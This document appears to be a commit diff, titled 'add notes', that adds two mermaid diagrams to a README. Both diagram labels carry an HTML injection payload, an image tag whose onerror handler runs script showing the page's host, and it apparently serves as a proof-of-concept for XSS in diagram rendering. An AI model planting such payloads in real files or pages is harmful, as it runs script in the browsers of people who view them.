add notes

README.md

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+notes
+
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```